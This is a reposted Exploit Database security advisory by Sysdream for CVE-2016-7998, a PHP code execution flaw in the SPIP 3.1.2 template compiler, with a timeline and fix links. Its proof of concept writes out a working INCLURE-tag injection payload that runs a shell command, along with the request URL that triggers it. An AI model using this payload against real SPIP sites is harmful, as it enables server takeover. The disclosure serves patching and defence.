SPIP 3.1.2 Template Compiler/Composer – PHP Code Execution

• Exploit Database
• 39 阅读

• 作者： Sysdream
  日期： 2016-10-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/40595/

• ## SPIP 3.1.2 Template Compiler/Composer PHP Code Execution (CVE-2016-7998)
  
  ### Product Description
  
  SPIP is a publishing system for the Internet, which put importance on collaborative working, multilingual environments and ease of use. It is free software, distributed under the GNU/GPL licence.
  
  ### Vulnerability Description
  
  The SPIP template composer/compiler does not correctly handle SPIP "INCLUDE/INCLURE" Tags, allowing PHP code execution by an authenticated user.
  This vulnerability can be exploited using the CSRF or the XSS vulnerability also found in this advisory.
  
  **Access Vector**: remote
  
  **Security Risk**: critical
  
  **Vulnerability**: CWE-94
  
  **CVSS Base Score**: 9.1 (Critical)
  
  **CVE-ID**: CVE-2016-7998
  
  ### Proof of Concept
  
  Store a `.html` file in a random directory with the following content :
  
  <INCLURE(xxx"\)\);}system\("touch /tmp/exploited"\);/*)>
  
  Then you can access to the following URL, with the `var_url` paramater pointing to the path corresponding to your uploaded file:
  
  http://spip-dev.srv/ecrire/?exec=valider_xml&var_url=file:///tmp/directory&ext=html
  
  The PHP code `system("touch /tmp/exploited");` will be executed after 2 requests.
  
  This happens because the template file is included (if already compiled) by `ecrire/public/composer.php`, line 60 :
  
  if (!squelette_obsolete($phpfile, $source)) {
  include_once $phpfile;
  
  and because we can "exit" the function generated by the template compiler (improper sanitization when generating argumenter_squelette):
  
  function html_xxxx($Cache, $Pile, $doublons = array(), $Numrows = array(), $SP = 0) {
  if (isset($Pile[0]["doublons"]) AND is_array($Pile[0]["doublons"]))
  $doublons = nettoyer_env_doublons($Pile[0]["doublons"]);
  $connect = '';
  $page = (
  '<'.'?php echo recuperer_fond( ' . argumenter_squelette("xxx"));}system("touch /tmp/exploited");/*") . ', array(\'lang\' => ' . argumenter_squelette($GLOBALS["spip_lang"]) . '), array("compil"=>array(\'/tmp/exploit.html\',\'html_xxxx\',\'\',1,$GLOBALS[\'spip_lang\'])), _request("connect"));
  ?'.'>
  ');
  return analyse_resultat_skel('html_xxxx', $Cache, $page, '/tmp/exploit.html');
  }
  
  Therefore, the vulnerability leads to arbitrary PHP code execution.
  
  
  ### Vulnerable code
  
  The vulnerable code is located in the `argumenter_inclure` function (`ecrire/public/compiler.php`), line 123.
  
  if ($var !== 1) {
  $val = ($echap ? "\'$var\' => ' . argumenter_squelette(" : "'$var' => ")
  . $val . ($echap ? ") . '" : " ");
  }
  
  ### Timeline (dd/mm/yyyy)
  
  * 15/09/2016 : Initial discovery
  * 26/09/2016 : Contact with SPIP Team
  * 27/09/2016 : Answer from SPIP Team, sent advisory details
  * 27/09/2016 : Fixes issued for PHP Code Execution
  * 30/09/2016 : SPIP 3.1.3 Released
  
  ### Fixes
  
  * https://core.spip.net/projects/spip/repository/revisions/23186
  * https://core.spip.net/projects/spip/repository/revisions/23189
  * https://core.spip.net/projects/spip/repository/revisions/23192
  
  ### Affected versions
  
  * Version <= 3.1.2
  
  ### Credits
  
  * Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)
  
  
  -- SYSDREAM Labs <labs@sysdream.com> GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 * Website: https://sysdream.com/ * Twitter: @sysdream